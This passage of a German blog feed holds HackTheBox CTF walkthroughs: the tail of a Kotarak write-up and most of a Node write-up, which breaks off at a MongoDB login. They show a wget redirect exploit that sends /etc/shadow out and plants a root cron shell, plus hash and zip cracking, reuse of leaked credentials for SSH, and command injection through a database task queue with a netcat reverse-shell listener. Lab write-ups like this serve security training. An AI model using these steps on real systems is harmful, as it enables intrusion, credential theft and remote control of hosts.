</span></span></code></pre></div><p>Wir können den Exploit nicht ausführen, da die ersten 1024 Ports für <strong>root</strong> reserviert sind.</p>
<p>Es gibt allerdings einen einfachen Trick wie wir dies umgehen können und zwar <a href="https://en.wikipedia.org/wiki/Authbind">Authbind</a>!</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>atanas@kotarak-dmz:/root$ authbind python exploit.py
</span></span><span style="display:flex;"><span>Ready? Is your FTP server running?
</span></span><span style="display:flex;"><span>FTP found open on 10.10.15.158:21<span style="color:#ae81ff">\.</span> Let<span style="color:#e6db74">&#39;s go then
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Serving wget exploit on port 80...
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">We have a volunteer requesting /archive.tar.gz by GET :)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Uploading .wetrc via ftp redirect vuln. It should land in /root
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">10.0.3.133 - - [14/Mar/2018 19:43:04] &#34;GET /archive.tar.gz HTTP/1.1&#34; 301 -
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Sending redirect to ftp://anonymous@10.10.15.158:21/.wgetrc
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">We have a volunteer requesting /archive.tar.gz by POST :)
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Received POST from wget, this should be the extracted /etc/shadow file:
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">---[begin]---
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">950#########ZENSIERT#########e2c
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">---[eof]---
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">Sending back a cronjob script as a thank-you for the file...
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">It should get saved in /etc/cron.d/wget-root-shell on the victim&#39;</span>s host <span style="color:#f92672">(</span>because of .wgetrc we injected in the GET first response<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>10.0.3.133 - - <span style="color:#f92672">[</span>14/Mar/2018 19:45:04<span style="color:#f92672">]</span> <span style="color:#e6db74">&#34;POST /archive.tar.gz HTTP/1.1&#34;</span> <span style="color:#ae81ff">200</span> -
</span></span><span style="display:flex;"><span>Fie was served. Check on /root/hacked-via-wget on the victim<span style="color:#960050;background-color:#1e0010">&#39;</span>s host in a minute! :<span style="color:#f92672">)</span>
</span></span></code></pre></div><p>Vielen Dank für&rsquo;s durchlesen. :)</p>
]]></content></item><item><title>HackTheBox - Node WriteUp | Tipps + Anleitung</title><link>https://m10x.de/posts/2018/03/hackthebox-node-writeup-tipps--anleitung/</link><pubDate>Fri, 09 Mar 2018 12:10:56 +0100</pubDate><guid>https://m10x.de/posts/2018/03/hackthebox-node-writeup-tipps--anleitung/</guid><description>Node ist eine der schwierigeren CTF Challenges von HackTheBox. Grundlegendes Wissen im Bereich Reverse Engineering und Datenbanken wird benötigt.
Tipps Sieh dir den Seitenquelltext genau an. Wenn der Download abbricht, versuche einen anderen Browser, benutze Burp als Proxy oder kopiere den Seitenquelltext. ltrace (zum debuggen) und radare2 (zur Analyse des Assembly Codes) können dich an&amp;rsquo;s Ziel bringen. Um an /root/root.txt zu kommen gibt es 3 verschiedene Methoden. Video Anleitung Als erstes machen wir wie gewohnt einen Nmap-Scan.</description><content type="html"><![CDATA[<p><a href="https://www.hackthebox.eu/home/machines/profile/110">Node</a> ist eine der schwierigeren CTF Challenges von <a href="https://hackthebox.eu/">HackTheBox</a>. Grundlegendes Wissen im Bereich Reverse Engineering und Datenbanken wird benötigt.</p>
<p><a href="https://imgur.com/LY2focA"><img alt="bewertung" src="https://imgur.com/LY2focA.jpg"></a></p>
<h2 id="tipps"><strong>Tipps</strong></h2>
<ul>
<li>Sieh dir den Seitenquelltext genau an.</li>
<li>Wenn der Download abbricht, versuche einen anderen Browser, benutze Burp als Proxy oder kopiere den Seitenquelltext.</li>
<li><a href="https://en.wikipedia.org/wiki/Ltrace">ltrace</a> (zum debuggen) und <a href="https://en.wikipedia.org/wiki/Radare2">radare2</a> (zur Analyse des Assembly Codes) können dich an&rsquo;s Ziel bringen.</li>
<li>Um an <strong>/root/root.txt</strong> zu kommen gibt es 3 verschiedene Methoden.</li>
</ul>
<h2 id="video"><strong>Video</strong></h2>
<p><a href="http://www.youtube.com/watch?v=Kc-J_RgBauI"><img alt="Kurzes Video Walkthrough ohne Erklärungen" src="http://img.youtube.com/vi/Kc-J_RgBauI/0.jpg"></a></p>
<h2 id="anleitung"><strong>Anleitung</strong></h2>
<p>Als erstes machen wir wie gewohnt einen Nmap-Scan.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nmap -A 10.10.10.58
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>PORT     STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 <span style="color:#f92672">(</span>Ubuntu Linux; protocol 2.0<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">2048</span> dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da <span style="color:#f92672">(</span>RSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>| <span style="color:#ae81ff">256</span> 6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c <span style="color:#f92672">(</span>ECDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>|_ <span style="color:#ae81ff">256</span> d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 <span style="color:#f92672">(</span>EdDSA<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>3000/tcp open  http    Node.js Express framework
</span></span><span style="display:flex;"><span>| hadoop-datanode-info:
</span></span><span style="display:flex;"><span>|_ Logs: /login
</span></span><span style="display:flex;"><span>|_hadoop-jobtracker-info:
</span></span><span style="display:flex;"><span>| hadoop-tasktracker-info:
</span></span><span style="display:flex;"><span>|_ Logs: /login
</span></span><span style="display:flex;"><span>|_hbase-master-info:
</span></span><span style="display:flex;"><span>|_http-title: MyPlace
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>2 offene Ports wurden gefunden. SSH und auf <strong>Port 3000</strong> eine <strong>Node.js</strong> Webseite.</p>
<p>Wenn wir uns den Seitenquelltext ansehen, können wir ganz unten Verweise auf Javascripts finden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-html" data-lang="html"><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vendor/jquery/jquery.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vendor/bootstrap/js/bootstrap.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vendor/angular/angular.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;vendor/angular/angular-route.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;assets/js/app/app.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;assets/js/app/controllers/home.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;assets/js/app/controllers/login.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;assets/js/app/controllers/admin.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;assets/js/app/controllers/profile.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span><span style="display:flex;"><span>&lt;<span style="color:#f92672">script</span> <span style="color:#a6e22e">type</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;text/javascript&#34;</span> <span style="color:#a6e22e">src</span><span style="color:#f92672">=</span><span style="color:#e6db74">&#34;assets/js/misc/freelancer.min.js&#34;</span>&gt;&lt;/<span style="color:#f92672">script</span>&gt;
</span></span></code></pre></div><p>Sehen wir uns <strong>home.js</strong> mal an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#66d9ef">var</span> <span style="color:#a6e22e">controllers</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">angular</span>.<span style="color:#a6e22e">module</span>(<span style="color:#e6db74">&#39;controllers&#39;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">controllers</span>.<span style="color:#a6e22e">controller</span>(<span style="color:#e6db74">&#39;HomeCtrl&#39;</span>, <span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">$scope</span>, <span style="color:#a6e22e">$http</span>) {
</span></span><span style="display:flex;"><span>  <span style="color:#a6e22e">$http</span>.<span style="color:#a6e22e">get</span>(<span style="color:#e6db74">&#39;/api/users/latest&#39;</span>).<span style="color:#a6e22e">then</span>(<span style="color:#66d9ef">function</span> (<span style="color:#a6e22e">res</span>) {
</span></span><span style="display:flex;"><span>    <span style="color:#a6e22e">$scope</span>.<span style="color:#a6e22e">users</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">res</span>.<span style="color:#a6e22e">data</span>;
</span></span><span style="display:flex;"><span>  });
</span></span><span style="display:flex;"><span>});
</span></span></code></pre></div><p>In Zeile 4 wird auf <strong>/api/users/latest</strong> zugegriffen. Unter 10.10.10.58:3000/api/users/latest sehen wir 3 Benutzer mit ihrer jeweiligen <strong>_id</strong>, <strong>username</strong>, <strong>password</strong> und <strong>is_admin</strong>. Wobei das <strong>password</strong> jeweils ein <a href="https://www.security-insider.de/was-ist-ein-hash-a-635712/">Hash</a> zu seien scheint.</p>
<p>Allerdings ist hier keiner der Benutzer ein Admin. Sehen wir uns darum mal <strong>/api/users/</strong> an.</p>
<p><a href="https://imgur.com/CC4dErP"><img alt="credentials" src="https://imgur.com/CC4dErP.jpg"></a></p>
<p>Hier ist ein Admin Account zu sehen und zwar <strong>myP14ceAdm1nAcc0uNT</strong>. Kopieren wir uns den Hash und benutzen einen Online Hash Cracker um zu sehen, ob wir das Password herausfinden können. Ich benutze dafür <a href="https://crackstation.net/">crackstation.net</a>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>dffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af <span style="color:#f92672">=</span> manchester
</span></span></code></pre></div><p>Tatsächlich konnte es das Passwort herausfinden.</p>
<p>Melden wir uns nun als <strong>myP14ceAdm1nAcc0uNT</strong> mit dem Passwort <strong>manchester</strong> an und laden uns das Backup herunter.</p>
<p><a href="https://imgur.com/hz7pBLx"><img alt="backup" src="https://imgur.com/hz7pBLx.jpg"></a></p>
<p>Falls der Download bei dir immer wieder abbrechen sollte gibt es 3 Möglichkeiten wie du dieses beheben kannst.</p>
<ol>
<li>Versuche einen anderen Browser</li>
<li>Benutze Burp als Proxy</li>
<li>Kopiere den Inhalt von <a href="http://view-source:http://10.10.10.58:3000/api/admin/backup">view-source:http://10.10.10.58:3000/api/admin/backup</a>s</li>
</ol>
<p>Wenn wir uns den Inhalt von <strong>myplace.backup</strong> ansehen, können wir sehen, dass es mit <a href="https://de.wikipedia.org/wiki/Base64">Base64</a> enkodiert wurde. Wir können <strong>base64 -d</strong> benutzen, um es zu dekodieren.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# cat myplace.backup | base64 -d &gt; myplace
</span></span></code></pre></div><p>Sehen wir uns nun den Dateityp von der Datei <strong>myplace</strong> an, mit der Hilfe von <strong>file</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# file myplace
</span></span><span style="display:flex;"><span>myplace: Zip archive data, at least v1.0 to extract
</span></span></code></pre></div><p>Es handelt sich um eine Zip Datei.</p>
<p>Nennen wir myplace zu myplace.zip um.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# mv myplace myplace.zip
</span></span></code></pre></div><p>Allerdings wird ein Passwort benötigt um die Zip Datei zu öffnen.</p>
<p>Das Password der Zip Datei können wir bruteforcen. Ich benutze dafür <a href="http://oldhome.schmorp.de/marc/fcrackzip.html">fcrackzip</a> und die <strong>rockyou</strong> Wortliste, welche sich bei Kali Linux standardmäßig unter <strong>/usr/share/wordlists/rockyou.txt</strong> befindet.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# fcrackzip -D -p /usr/share/wordlists/rockyou.txt myplace.zip
</span></span><span style="display:flex;"><span>possible pw found: magicword <span style="color:#f92672">()</span>
</span></span></code></pre></div><p>Das Passwort ist also <strong>magicword</strong>.</p>
<p>Jetzt können mir <strong>myplace.zip</strong> entpacken.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# unzip myplace.zip
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>root@kali:~# cd var/www/myplace
</span></span><span style="display:flex;"><span>root@kali:~# ls
</span></span><span style="display:flex;"><span>app.html app.js mark node_modules package.json package-lock.json static
</span></span></code></pre></div><p>Sehen wir uns <strong>app.js</strong> genauer an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-javascript" data-lang="javascript"><span style="display:flex;"><span><span style="color:#a6e22e">root</span><span style="color:#960050;background-color:#1e0010">@</span><span style="color:#a6e22e">kali</span><span style="color:#f92672">:~</span><span style="color:#960050;background-color:#1e0010">#</span> <span style="color:#a6e22e">cat</span> <span style="color:#a6e22e">app</span>.<span style="color:#a6e22e">js</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">express</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">session</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;express-session&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">bodyParser</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;body-parser&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">crypto</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;crypto&#39;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">MongoClient</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;mongodb&#39;</span>).<span style="color:#a6e22e">MongoClient</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">ObjectID</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;mongodb&#39;</span>).<span style="color:#a6e22e">ObjectID</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">path</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#34;path&#34;</span>);
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">spawn</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">require</span>(<span style="color:#e6db74">&#39;child_process&#39;</span>).<span style="color:#a6e22e">spawn</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">app</span> <span style="color:#f92672">=</span> <span style="color:#a6e22e">express</span>();
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">url</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&amp;authSource=myplace&#39;</span>;
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">const</span> <span style="color:#a6e22e">backup_key</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474&#39;</span>;
</span></span><span style="display:flex;"><span>[...]
</span></span></code></pre></div><p>Es wird anscheinend <a href="https://www.mongodb.com/de">MongoDB</a> und der Nutzername <strong>mark</strong> mit dem Passwort <strong>5AYRft73VtFpc84k</strong> um sich bei <a href="https://www.mongodb.com/de">MongoDB</a> anzumelden.</p>
<p>Probieren wir diese Anmeldedaten bei <strong>SSH</strong> aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ssh mark@10.10.10.58
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>mark@node:~$
</span></span></code></pre></div><p>Es hat tatsächlich funktioniert.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ ls /home
</span></span><span style="display:flex;"><span>frank mark tom
</span></span></code></pre></div><p>Unter <strong>/home</strong> sind noch 2 andere Benutzer zu finden. <strong>frank</strong> und <strong>tom</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ ps aux | grep tom
</span></span><span style="display:flex;"><span>tom <span style="color:#ae81ff">1224</span> 0.0 5.7 <span style="color:#ae81ff">1008560</span> <span style="color:#ae81ff">43964</span> ? Ssl 05:06 0:06 /usr/bin/node /var/scheduler/app.js
</span></span><span style="display:flex;"><span>tom <span style="color:#ae81ff">1231</span> 3.2 8.1 <span style="color:#ae81ff">1034224</span> <span style="color:#ae81ff">61784</span> ? Ssl 05:06 12:28 /usr/bin/node /var/www/myplace/app.js
</span></span></code></pre></div><p>2 Prozesse gehören <strong>tom</strong>. Sehen wir uns <strong>/var/scheduler/app.js</strong> an.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ cat /var/scheduler/app.js
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>const exec <span style="color:#f92672">=</span> require<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;child_process&#39;</span><span style="color:#f92672">)</span>.exec;
</span></span><span style="display:flex;"><span>const MongoClient <span style="color:#f92672">=</span> require<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;mongodb&#39;</span><span style="color:#f92672">)</span>.MongoClient;
</span></span><span style="display:flex;"><span>const ObjectID <span style="color:#f92672">=</span> require<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;mongodb&#39;</span><span style="color:#f92672">)</span>.ObjectID;
</span></span><span style="display:flex;"><span>const url <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT&amp;authSource=scheduler&#39;</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>MongoClient.connect<span style="color:#f92672">(</span>url, <span style="color:#66d9ef">function</span><span style="color:#f92672">(</span>error, db<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>  <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span>error <span style="color:#f92672">||</span> !db<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    console.log<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;[!] Failed to connect to mongodb&#39;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  setInterval<span style="color:#f92672">(</span><span style="color:#66d9ef">function</span> <span style="color:#f92672">()</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>    db.collection<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;tasks&#39;</span><span style="color:#f92672">)</span>.find<span style="color:#f92672">()</span>.toArray<span style="color:#f92672">(</span><span style="color:#66d9ef">function</span> <span style="color:#f92672">(</span>error, docs<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span>!error <span style="color:#f92672">&amp;&amp;</span> docs<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        docs.forEach<span style="color:#f92672">(</span><span style="color:#66d9ef">function</span> <span style="color:#f92672">(</span>doc<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span>doc<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>            console.log<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;Executing task &#39;</span> + doc._id + <span style="color:#e6db74">&#39;...&#39;</span><span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>            exec<span style="color:#f92672">(</span>doc.cmd<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>            db.collection<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;tasks&#39;</span><span style="color:#f92672">)</span>.deleteOne<span style="color:#f92672">({</span> _id: new ObjectID<span style="color:#f92672">(</span>doc._id<span style="color:#f92672">)</span> <span style="color:#f92672">})</span>;
</span></span><span style="display:flex;"><span>          <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>        <span style="color:#f92672">})</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span>error<span style="color:#f92672">)</span> <span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span>        console.log<span style="color:#f92672">(</span><span style="color:#e6db74">&#39;Something went wrong: &#39;</span> + error<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>      <span style="color:#f92672">}</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">})</span>;
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">}</span>, 30000<span style="color:#f92672">)</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">})</span>;
</span></span></code></pre></div><p><strong>app.js</strong> sucht in der Datenbank <strong>tasks</strong> nach Einträgen (Zeile 15)  und führt den Inhalt in <strong>cmd</strong> als Shellbefehl aus (Zeile 19-21).</p>
<p>Da wir die Anmeldedaten für die Datenbank haben und somit neue Einträge machen können, können wir dafür sorgen, dass z.B. ein Reverse Shell Skript ausgeführt wird.</p>
<p>Ich benutze dieses <a href="https://github.com/appsecco/vulnerable-apps/tree/master/node-reverse-shell#the-nodejs-reverse-shell">NodeJS Reverse Shell Skript</a> dafür.</p>
<p>Als nächstes nur noch NetCat Port 4444 abhören lassen und IP Adresse und Port im Skript dementsprechend ändern.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nc -lnvp <span style="color:#ae81ff">4444</span>
</span></span></code></pre></div><p>Unter /tmp/ können wir das Skript dann mithilfe von VI(M) einfügen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ vi /tmp/reverse.js
</span></span></code></pre></div><p>Nun können wir uns mit der Datenbank verbinden.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Failed global initialization: BadValue Invalid or no user locale set. Please ensure LANG and/or LC_* environment variables are set correctly.
</span></span></code></pre></div><p>Wenn du diese Fehlermeldung bekommen solltest benutze folgendes.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ export LC_ALL<span style="color:#f92672">=</span>C
</span></span></code></pre></div><p>So. 2. Versuch.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>mark@node:~$ mongo -u mark -p 5AYRft73VtFpc84k localhost:27017/scheduler
</span></span><span style="display:flex;"><span>
